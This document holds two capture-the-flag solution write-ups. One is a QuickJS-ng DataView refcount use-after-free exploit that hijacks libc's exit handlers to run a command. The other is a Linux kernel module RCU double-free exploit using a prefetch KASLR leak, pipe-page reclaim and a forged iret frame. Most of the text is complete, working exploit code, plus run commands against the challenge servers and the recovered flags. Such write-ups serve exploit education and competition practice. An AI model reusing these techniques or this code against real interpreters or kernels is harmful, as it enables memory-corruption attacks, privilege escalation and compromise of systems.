QuickJS-ng DataView refcount UAF to __exit_funcs
| Event Name | C2C 2026 Quals |
| GitHub URL | - |
| Challenge Name | lightspeed |
Attachments
solve.py
#!/usr/bin/env python3
import argparse
import re
import socket
import sys
import time
HARD_LIMIT = 8192
FLAG_RE = re.compile(rb"[A-Za-z0-9_]{2,}\{[^}\n]+\}")
def recv_until(sock: socket.socket, needle: bytes, timeout=5.0) -> bytes:
sock.settimeout(timeout)
data = b""
while needle not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
if len(data) > 1 << 20:
break
return data
def extract_flag(data: bytes) -> str | None:
match = FLAG_RE.search(data)
if match:
return match.group().decode()
return None
def main():
ap = argparse.ArgumentParser(description="lightspeed solver")
ap.add_argument("--host", required=True)
ap.add_argument("--port", required=True, type=int)
ap.add_argument("--js", default="exploit.js", help="path to exploit.js")
ap.add_argument(
"--delay",
type=float,
default=0.35,
help="delay between length line and payload (run.py buffering workaround)",
)
ap.add_argument("--timeout", type=float, default=10.0)
ap.add_argument(
"--attempts",
type=int,
default=20,
help="number of exploit attempts before giving up",
)
ap.add_argument(
"--retry-delay",
type=float,
default=0.0,
help="sleep between attempts",
)
ap.add_argument(
"--verbose",
action="store_true",
help="print per-attempt output instead of only the final flag",
)
args = ap.parse_args()
payload = open(args.js, "rb").read()
if len(payload) > HARD_LIMIT:
raise SystemExit(f"payload too large: {len(payload)} > {HARD_LIMIT}")
if args.attempts < 1:
raise SystemExit("--attempts must be at least 1")
last_output = b""
last_error = ""
for attempt in range(1, args.attempts + 1):
try:
with socket.create_connection((args.host, args.port), timeout=args.timeout) as s:
banner = recv_until(s, b": ", timeout=args.timeout)
if args.verbose:
sys.stdout.buffer.write(banner)
sys.stdout.buffer.flush()
s.sendall(str(len(payload)).encode() + b"\n")
# IMPORTANT: run.py mixes text readline() + buffer.read(); send in 2 phases.
time.sleep(args.delay)
s.sendall(payload)
s.shutdown(socket.SHUT_WR)
s.settimeout(args.timeout)
out = b""
while True:
try:
chunk = s.recv(4096)
except socket.timeout:
break
if not chunk:
break
out += chunk
except Exception as exc:
last_error = str(exc)
if attempt == args.attempts:
raise SystemExit(f"attempt {attempt}/{args.attempts} failed: {exc}")
continue
last_output = out
flag = extract_flag(out)
if args.verbose:
sys.stdout.buffer.write(out)
sys.stdout.buffer.flush()
if flag:
if not args.verbose:
print(flag)
return
if attempt == args.attempts:
if last_output:
sys.stderr.buffer.write(last_output)
sys.stderr.buffer.flush()
elif last_error:
print(last_error, file=sys.stderr)
raise SystemExit(f"flag not found after {args.attempts} attempts")
if args.retry_delay:
time.sleep(args.retry_delay)
if __name__ == "__main__":
main()
References
js_dataview_constructor stores the backing ArrayBuffer pointer without js_dup(buffer), so the DataView does not own a refcount on the buffer object and can outlive a freed/reclaimed JSArrayBuffer.JSArrayBuffer state with a typed-array-backed object, pivot the DataView into arbitrary read/write, leak PIE from js_array_buffer_free, leak libc from malloc@GOT, recover pointer_guard from AT_RANDOM, then overwrite __exit_funcs[0] with mangled system("/app/getflag").2.41; the exploit is probabilistic and often fails at the Stage 0b detached-check bypass before succeeding on retry.challenge/Dockerfile with a local placeholder getflag and confirmed python3 solve.py --host 127.0.0.1 --port 5003 --js exploit_aslr_final.js --delay 0.35 --attempts 10 returns FAKE{local_test_flag} from a clean build on March 9, 2026.challenges.1pc.tf:29786 timed out on March 9, 2026, but the same payload previously recovered the real challenge flag.why it is vulnerable
// quickjs.c / js_dataview_constructor
p = JS_VALUE_GET_OBJ(obj);
ta->obj = p;
// BUG: the DataView keeps the JSArrayBuffer pointer without bumping its refcount.
// When the original JSValue dies, the JSArrayBuffer can be freed and later reclaimed.
ta->buffer = JS_VALUE_GET_OBJ(buffer);exploit payload
function rol64(x, r){
r = BigInt(r & 63);
return ((x << r) | (x >> (64n - r))) & 0xffffffffffffffffn;
}
function assert(c){ if(!c) throw 1; }
let back = new ArrayBuffer(0x2000);
let ab = new ArrayBuffer(0x100);
let dv = new DataView(ab);
const N = 0x800;
let views = new Array(N);
ab = null;
for(let i=0;i<N;i++) views[i] = new Uint8Array(back);
let ta1 = dv.buffer;
let idx = -1;
for(let i=0;i<N;i++) if(views[i] === ta1){ idx = i; break; }
assert(idx !== -1);
let good = null;
for(let i=idx+1;i<N;i++){
try { dv.getUint8(0); good = views[i]; break; } catch(e) {}
views[i] = null;
}
assert(good !== null);
for(let i=0;i<N;i++) if(i!==idx && views[i] !== good) views[i] = null;
views = null;
function leak64(off){ return dv.getBigUint64(off, true); }
function poke64(off, v){ dv.setBigUint64(off, v, true); }
let ta1_struct = leak64(0x30);
let back_data = leak64(0x38);
let dv_back = new DataView(back);
dv_back.setUint32(0x00, 0x10000, true);
dv_back.setUint32(0x04, 0x10000, true);
dv_back.setUint8(0x08, 0);
dv_back.setBigUint64(0x10, 0n, true);
poke64(0x30, back_data);
function set_data_ptr(p){ dv_back.setBigUint64(0x10, p, true); }
function aar64(addr){ set_data_ptr(addr); return dv.getBigUint64(0, true); }
function aaw64(addr, val){ set_data_ptr(addr); dv.setBigUint64(0, val, true); }
let ta1_obj = aar64(ta1_struct + 0x10n);
const QJS_JS_ARRAY_BUFFER_FREE = 0x1b060n;
const QJS_MALLOC_GOT = 0x129d90n;
const LIBC_MALLOC_OFF = 0x0a2b50n;
const LIBC_SYSTEM_OFF = 0x053110n;
const LIBC_ENVIRON_OFF = 0x1ede28n;
const LIBC_EXIT_FUNCS_OFF = 0x1e6680n;
let code_ptr = aar64(ta1_struct + 0x30n);
if(code_ptr < 0x10000n) throw 4;
if(aar64(code_ptr) !== 0x8948534374d28548n) throw 5;
let qjs_base = code_ptr - QJS_JS_ARRAY_BUFFER_FREE;
let malloc_ptr = aar64(qjs_base + QJS_MALLOC_GOT);
let libc_base = malloc_ptr - LIBC_MALLOC_OFF;
let SYSTEM = libc_base + LIBC_SYSTEM_OFF;
let ENVIRON = libc_base + LIBC_ENVIRON_OFF;
let EXIT_FUNCS = libc_base + LIBC_EXIT_FUNCS_OFF;
function get_ptr_guard(){
let envp = aar64(ENVIRON);
let p = envp;
while(aar64(p) !== 0n) p += 8n;
p += 8n;
for(;;){
let t = aar64(p);
let v = aar64(p + 8n);
if(t === 0n) break;
if(t === 25n) return aar64(v + 8n);
p += 16n;
}
throw 2;
}
let guard = get_ptr_guard();
let mangled_system = rol64(SYSTEM ^ guard, 0x11);
let exit_list = aar64(EXIT_FUNCS);
let entry0 = exit_list + 0x10n;
let cmd_addr = exit_list + 0x300n;
aaw64(exit_list + 0x8n, 1n);
set_data_ptr(cmd_addr);
let cmd = '/app/getflag\0';
for(let i=0;i<cmd.length;i++) dv.setUint8(i, cmd.charCodeAt(i));
aaw64(entry0 + 0x0n, 4n);
aaw64(entry0 + 0x8n, mangled_system);
aaw64(entry0 + 0x10n, cmd_addr);
set_data_ptr(ta1_obj);
dv.setBigUint64(0x30, ta1_struct, true);solver
docker build -t lightspeed-repro:latest challenge
docker run -d --rm --name lightspeed-repro-run -p 127.0.0.1:5003:5000 lightspeed-repro:latest
python3 solve.py --host 127.0.0.1 --port 5003 --js exploit_aslr_final.js --delay 0.35 --attempts 10
# remote command used previously when the service was online
python3 solve.py --host challenges.1pc.tf --port 29786 --js exploit_aslr_final.js --delay 0.35 --attempts 20cornelslop kernel RCU double-queue to pipe-page reclaim
| Event Name | DiceCTF Quals 2026 |
| Source URL | - |
| Challenge Name | cornelslop |
Attachments
exploit.c
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/io.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define ADD_ENTRY 0xcafebabe
#define DEL_ENTRY 0xdeadbabe
#define CHECK_ENTRY 0xbeefbabe
#define CPU_CHECK 0
#define CPU_SHAPE 1
#define CPU_NOISE 2
#define CPU_RECLAIM 3
#define BIG_LEN (256UL << 20)
#define SMALL_LEN 0x1000UL
#define CACHE_SIZE 56
#define ROUNDS1 5
#define ROUNDS2 4
#define HOLD_COUNT (CACHE_SIZE * 2)
#define PIPE_COUNT 0x700
#define BRUH 0x10017ffULL
#define KERNEL_LOWER_BOUND 0xffffffff80000000ULL
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ULL
#define STEP_KERNEL 0x200000ULL
#define ARR_SIZE_KERNEL ((KERNEL_UPPER_BOUND - KERNEL_LOWER_BOUND) / STEP_KERNEL)
#define DUMMY_ITERATIONS 10
#define ITERATIONS 10000
#define FW_CFG_PORT_SEL 0x510
#define FW_CFG_PORT_DATA 0x511
#define FW_CFG_INITRD_DATA 0x12
#define INITRD_DUMP_SIZE (4 * 1024 * 1024)
struct cornelslop_user_entry {
uint32_t id;
uint64_t va_start;
uint64_t va_end;
uint8_t corrupted;
};
static int devfd = -1;
static uint32_t ids[HOLD_COUNT];
static volatile unsigned char *sem_page;
static unsigned char *initrd_buf;
static unsigned char *iret_stack;
static void die(const char *msg)
{
perror(msg);
exit(1);
}
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) != 0)
die("sched_setaffinity");
}
static void msleep(unsigned int ms)
{
struct timespec ts = {
.tv_sec = ms / 1000,
.tv_nsec = (long)(ms % 1000) * 1000000L,
};
if (nanosleep(&ts, NULL) != 0)
die("nanosleep");
}
static long do_ioctl(unsigned long cmd, struct cornelslop_user_entry *entry)
{
long ret = ioctl(devfd, cmd, entry);
if (ret < 0)
return -errno;
return ret;
}
static void *map_region(size_t size, unsigned char fill)
{
void *addr = mmap(NULL, size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (addr == MAP_FAILED)
die("mmap");
memset(addr, fill, size);
return addr;
}
static void raise_nofile_limit(void)
{
struct rlimit rl;
if (getrlimit(RLIMIT_NOFILE, &rl) != 0)
die("getrlimit");
rl.rlim_cur = rl.rlim_max;
if (setrlimit(RLIMIT_NOFILE, &rl) != 0)
die("setrlimit");
}
static int add_entry_retry(struct cornelslop_user_entry *entry)
{
long ret;
for (;;) {
ret = do_ioctl(ADD_ENTRY, entry);
if (ret == -ENOSPC) {
msleep(50);
continue;
}
if (ret < 0) {
fprintf(stderr, "ADD failed: %ld\n", ret);
exit(1);
}
return 0;
}
}
static void spray_entries(int count)
{
int i;
if (count > HOLD_COUNT) {
fprintf(stderr, "spray count too large: %d\n", count);
exit(1);
}
for (i = 0; i < count; i++) {
struct cornelslop_user_entry entry = {
.id = (uint32_t)-1,
.va_start = (uint64_t)map_region(SMALL_LEN, (unsigned char)('a' + (i % 26))),
.corrupted = (uint8_t)-1,
};
entry.va_end = entry.va_start + SMALL_LEN;
add_entry_retry(&entry);
ids[i] = entry.id;
}
}
static void delete_entries(int count, int cpu)
{
pid_t pid = fork();
int i;
if (pid < 0)
die("fork delete_entries");
if (pid == 0) {
pin_cpu(cpu);
for (i = 0; i < count; i++) {
struct cornelslop_user_entry entry = {
.id = ids[i],
};
long ret = do_ioctl(DEL_ENTRY, &entry);
if (ret < 0) {
fprintf(stderr, "DEL id=%u failed: %ld\n", ids[i], ret);
_exit(1);
}
}
_exit(0);
}
if (waitpid(pid, NULL, 0) < 0)
die("waitpid delete_entries");
msleep(500);
}
static int create_pipes(int (**out_fds)[2])
{
int (*fds)[2];
int i;
fds = calloc(PIPE_COUNT, sizeof(*fds));
if (!fds)
die("calloc pipes");
for (i = 0; i < PIPE_COUNT; i++) {
if (pipe(fds[i]) != 0)
die("pipe");
}
*out_fds = fds;
return PIPE_COUNT;
}
static void spray_pipes(int (*fds)[2], int count, const void *payload)
{
int i;
pin_cpu(CPU_RECLAIM);
for (i = 0; i < count; i++) {
ssize_t n = write(fds[i][1], payload, SMALL_LEN);
if (n != (ssize_t)SMALL_LEN)
die("write pipe payload");
}
}
static uint64_t sidechannel(uint64_t addr)
{
uint64_t a, b, c, d;
__asm__ volatile(
".intel_syntax noprefix\n"
"mfence\n"
"rdtscp\n"
"mov %0, rax\n"
"mov %1, rdx\n"
"xor rax, rax\n"
"lfence\n"
"prefetchnta qword ptr [%4]\n"
"prefetcht2 qword ptr [%4]\n"
"xor rax, rax\n"
"lfence\n"
"rdtscp\n"
"mov %2, rax\n"
"mov %3, rdx\n"
"mfence\n"
".att_syntax prefix\n"
: "=r"(a), "=r"(b), "=r"(c), "=r"(d)
: "r"(addr)
: "rax", "rbx", "rcx", "rdx");
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
}
static uint64_t prefetch_kernel_base(void)
{
uint64_t *data;
uint64_t min = ~0ULL;
uint64_t best = ~0ULL;
uint64_t idx;
int iter;
data = calloc(ARR_SIZE_KERNEL, sizeof(*data));
if (!data)
die("calloc prefetch");
for (iter = 0; iter < ITERATIONS + DUMMY_ITERATIONS; iter++) {
for (idx = 0; idx < ARR_SIZE_KERNEL; idx++) {
uint64_t test = KERNEL_LOWER_BOUND + idx * STEP_KERNEL;
uint64_t time;
syscall(104);
time = sidechannel(test);
if (iter >= DUMMY_ITERATIONS)
data[idx] += time;
}
}
for (idx = 0; idx < ARR_SIZE_KERNEL; idx++) {
data[idx] /= ITERATIONS;
if (data[idx] < min) {
min = data[idx];
best = KERNEL_LOWER_BOUND + idx * STEP_KERNEL;
}
}
free(data);
return best - 0x1000000ULL;
}
static uint64_t get_kernel_base(void)
{
const char *override = getenv("KBASE_OVERRIDE");
char *end = NULL;
uint64_t base;
if (override && *override) {
base = strtoull(override, &end, 0);
if (!end || *end != '\0') {
fprintf(stderr, "invalid KBASE_OVERRIDE: %s\n", override);
exit(1);
}
return base;
}
return prefetch_kernel_base();
}
__attribute__((noinline)) static void win(void)
{
int i;
*sem_page = 1;
outw(FW_CFG_INITRD_DATA, FW_CFG_PORT_SEL);
for (i = 0; i < INITRD_DUMP_SIZE; i++)
initrd_buf[i] = inb(FW_CFG_PORT_DATA);
*sem_page = 2;
for (;;)
__asm__ volatile("pause");
}
static void build_pipe_payload(void *page, uint64_t kbase)
{
size_t off;
memset(page, 0, SMALL_LEN);
for (off = 0; off + 0x48 <= SMALL_LEN; off += 0x48) {
*(uint64_t *)((char *)page + off + 0x00) = (uint64_t)(uintptr_t)&win;
*(uint64_t *)((char *)page + off + 0x08) = 0x33;
*(uint64_t *)((char *)page + off + 0x10) = 0x3206;
*(uint64_t *)((char *)page + off + 0x18) = (uint64_t)(uintptr_t)(iret_stack + SMALL_LEN * 4);
*(uint64_t *)((char *)page + off + 0x20) = 0x2b;
*(uint64_t *)((char *)page + off + 0x40) = kbase + BRUH;
}
}
static int write_and_extract_flag(void)
{
int fd;
fd = open("/tmp/initrd.gz", O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd < 0)
die("open /tmp/initrd.gz");
if (write(fd, initrd_buf, INITRD_DUMP_SIZE) != INITRD_DUMP_SIZE)
die("write /tmp/initrd.gz");
close(fd);
return system(
"rm -rf /tmp/initrd-root && mkdir -p /tmp/initrd-root && "
"gzip -dc /tmp/initrd.gz | (cd /tmp/initrd-root && cpio -id --quiet root/flag.txt) >/dev/null 2>&1 && "
"cat /tmp/initrd-root/root/flag.txt || "
"(gzip -d -f /tmp/initrd.gz >/dev/null 2>&1 && grep -aoE 'dice\\{[A-Za-z0-9_:-]+\\}' /tmp/initrd | head -n1)"
);
}
static unsigned char wait_for_sem(unsigned int timeout_ms)
{
unsigned int waited = 0;
while (*sem_page == 0 && waited < timeout_ms) {
msleep(10);
waited += 10;
}
return *sem_page;
}
static void run_child(struct cornelslop_user_entry *victim)
{
int i;
pin_cpu(CPU_RECLAIM);
if (do_ioctl(DEL_ENTRY, victim) < 0)
_exit(1);
pin_cpu(CPU_NOISE);
for (i = 0; i < HOLD_COUNT; i++) {
struct cornelslop_user_entry entry = {
.id = ids[i],
};
if (do_ioctl(DEL_ENTRY, &entry) < 0)
_exit(1);
}
for (;;)
__asm__ volatile("pause");
}
int main(void)
{
struct cornelslop_user_entry victim = {0};
void *victim_buf;
void *payload_page;
int (*pipes)[2];
int i;
long ret;
pid_t child;
uint64_t kbase;
raise_nofile_limit();
initrd_buf = mmap(NULL, INITRD_DUMP_SIZE, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
iret_stack = mmap(NULL, SMALL_LEN * 4, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
sem_page = mmap(NULL, SMALL_LEN, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (initrd_buf == MAP_FAILED || iret_stack == MAP_FAILED || sem_page == MAP_FAILED)
die("mmap shared");
kbase = get_kernel_base();
printf("kernel base = 0x%llx\n", (unsigned long long)kbase);
fflush(stdout);
payload_page = mmap(NULL, SMALL_LEN, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if (payload_page == MAP_FAILED)
die("mmap payload_page");
build_pipe_payload(payload_page, kbase);
create_pipes(&pipes);
pin_cpu(CPU_CHECK);
devfd = open("/dev/cornelslop", O_RDONLY);
if (devfd < 0)
die("open /dev/cornelslop");
for (i = 0; i < ROUNDS2; i++) {
spray_entries(HOLD_COUNT);
delete_entries(HOLD_COUNT, CPU_NOISE);
printf("noise round %d/%d complete\n", i + 1, ROUNDS2);
fflush(stdout);
}
victim_buf = map_region(BIG_LEN, 'A');
victim.va_start = (uint64_t)victim_buf;
victim.va_end = (uint64_t)victim_buf + BIG_LEN;
victim.corrupted = (uint8_t)-1;
add_entry_retry(&victim);
printf("victim id=%u allocated\n", victim.id);
fflush(stdout);
spray_entries(HOLD_COUNT - 1);
delete_entries(HOLD_COUNT - 1, CPU_SHAPE);
printf("victim isolation round complete\n");
fflush(stdout);
for (i = 0; i < ROUNDS1; i++) {
spray_entries(HOLD_COUNT);
delete_entries(HOLD_COUNT, CPU_SHAPE);
printf("shape round %d/%d complete\n", i + 1, ROUNDS1);
fflush(stdout);
}
pin_cpu(CPU_NOISE);
spray_entries(HOLD_COUNT);
pin_cpu(CPU_CHECK);
printf("hold set ready on cpu %d\n", CPU_NOISE);
fflush(stdout);
sleep(1);
*(volatile unsigned char *)victim_buf = 0x69;
printf("victim page corrupted\n");
fflush(stdout);
child = fork();
if (child < 0)
die("fork child");
if (child == 0)
run_child(&victim);
pin_cpu(CPU_CHECK);
ret = do_ioctl(CHECK_ENTRY, &victim);
printf("check ret=%ld corrupted=%u\n", ret, victim.corrupted);
fflush(stdout);
if (ret < 0 || !victim.corrupted) {
fprintf(stderr, "victim race failed ret=%ld corrupted=%u\n",
ret, victim.corrupted);
return 1;
}
spray_pipes(pipes, PIPE_COUNT, payload_page);
printf("pipe reclaim spray complete\n");
fflush(stdout);
printf("waiting for controlled iret\n");
fflush(stdout);
ret = wait_for_sem(10000);
printf("sem stage=%ld\n", ret);
fflush(stdout);
if (ret < 1) {
fprintf(stderr, "iret stage never reached userland\n");
return 1;
}
while (*sem_page < 2)
msleep(100);
printf("returned to userland with controlled iret\n");
fflush(stdout);
if (write_and_extract_flag() != 0) {
fprintf(stderr, "failed to extract flag from dumped initrd\n");
return 1;
}
return 0;
}
References
check_entry() keeps a stale xa_load() result across the SHA256 walk, and on mismatch it calls destruct_entry(e) even if xa_erase() already lost the entry. That queues the same rcu_head twice.cornelslop_entry cache across CPUs so the first callback frees the victim into buddy on CPU 3, spray pipe pages on CPU 3 to reclaim the slab page, overwrite rcu.func with the BRUH trampoline plus a controlled iret frame, return to userland, then dump initrd through QEMU fw_cfg and extract root/flag.txt.nokaslr and KBASE_OVERRIDE=0xffffffff81000000 reached the controlled iret, dumped initrd, and printed dice{test}.cornelslop.chals.dicec.tf:1337 without KBASE_OVERRIDE, leaked kernel base = 0xffffffff85000000, reached returned to userland with controlled iret, and printed dice{4g3ncy_15_7h3_n3w_1n73ll1g3nc3_1n_7h3_5l0p1n0m1c5_3r4}.upload helper echoes the full base64 heredoc and can take a few minutes before /tmp/exploit is staged; stripping the binary first reduced the upload size and made the round-trip more tolerable.KBASE_OVERRIDE lets the reclaim, gadget, and fw_cfg stages be tested independently from the KASLR leak.why it is vulnerable
// extracted/cornelslop.c
e = xa_load(&cornelslop_xa, ue->id);
// BUG: e stays live across the full SHA256 of up to 256 MiB of user pages.
ret = sha256_va_range(e->va_start, e->va_end, shash);
ue->corrupted = memcmp(e->shash, shash, SHA256_DIGEST_SIZE);
if (ue->corrupted) {
xa_erase(&cornelslop_xa, ue->id);
// BUG: the xa_erase() result is ignored, so a concurrent DEL_ENTRY can
// already have queued the same rcu_head and we queue it a second time here.
destruct_entry(e);
}exploit payload
__attribute__((noinline)) static void win(void)
{
*sem_page = 1;
outw(FW_CFG_INITRD_DATA, FW_CFG_PORT_SEL);
for (int i = 0; i < INITRD_DUMP_SIZE; i++)
initrd_buf[i] = inb(FW_CFG_PORT_DATA);
*sem_page = 2;
for (;;)
__asm__ volatile("pause");
}
static void build_pipe_payload(void *page, uint64_t kbase)
{
for (size_t off = 0; off + 0x48 <= SMALL_LEN; off += 0x48) {
*(uint64_t *)((char *)page + off + 0x00) = (uint64_t)(uintptr_t)&win;
*(uint64_t *)((char *)page + off + 0x08) = 0x33;
*(uint64_t *)((char *)page + off + 0x10) = 0x3206;
*(uint64_t *)((char *)page + off + 0x18) = (uint64_t)(uintptr_t)(iret_stack + SMALL_LEN * 4);
*(uint64_t *)((char *)page + off + 0x20) = 0x2b;
*(uint64_t *)((char *)page + off + 0x40) = kbase + BRUH;
}
}
static void run_child(struct cornelslop_user_entry *victim)
{
pin_cpu(CPU_RECLAIM);
do_ioctl(DEL_ENTRY, victim);
pin_cpu(CPU_NOISE);
for (int i = 0; i < HOLD_COUNT; i++) {
struct cornelslop_user_entry entry = { .id = ids[i] };
do_ioctl(DEL_ENTRY, &entry);
}
for (;;)
__asm__ volatile("pause");
}solver
gcc -Wall -Wextra -O2 -static -no-pie exploit.c -o extracted/initramfs/home/ctf/exploit
(
cd extracted/initramfs &&
find . | cpio -o -H newc | gzip -9 > ../dist/initramfs-exploit.cpio.gz
)
# validated local control-flow test
qemu-system-x86_64 -m 4G -smp 4 -nographic \
-kernel extracted/remote/bzImage \
-append "console=ttyS0 loglevel=3 panic=-1 oops=panic pti=on no5lvl nokaslr" \
-no-reboot -cpu max \
-initrd extracted/dist/initramfs-exploit.cpio.gz \
-monitor /dev/null
# inside guest
KBASE_OVERRIDE=0xffffffff81000000 ./exploit
# validated remote helper flow on March 10, 2026
strip -s extracted/initramfs/home/ctf/exploit -o /tmp/cornelslop-remote
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 1337 \
cornelslop@cornelslop.chals.dicec.tf connect \
$(cat /tmp/cornelslop-remote | ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 1337 cornelslop.chals.dicec.tf upload)
# inside the guest after the upload heredoc finishes
/tmp/exploit
# observed remote output
# kernel base = 0xffffffff85000000
# returned to userland with controlled iret
# dice{4g3ncy_15_7h3_n3w_1n73ll1g3nc3_1n_7h3_5l0p1n0m1c5_3r4}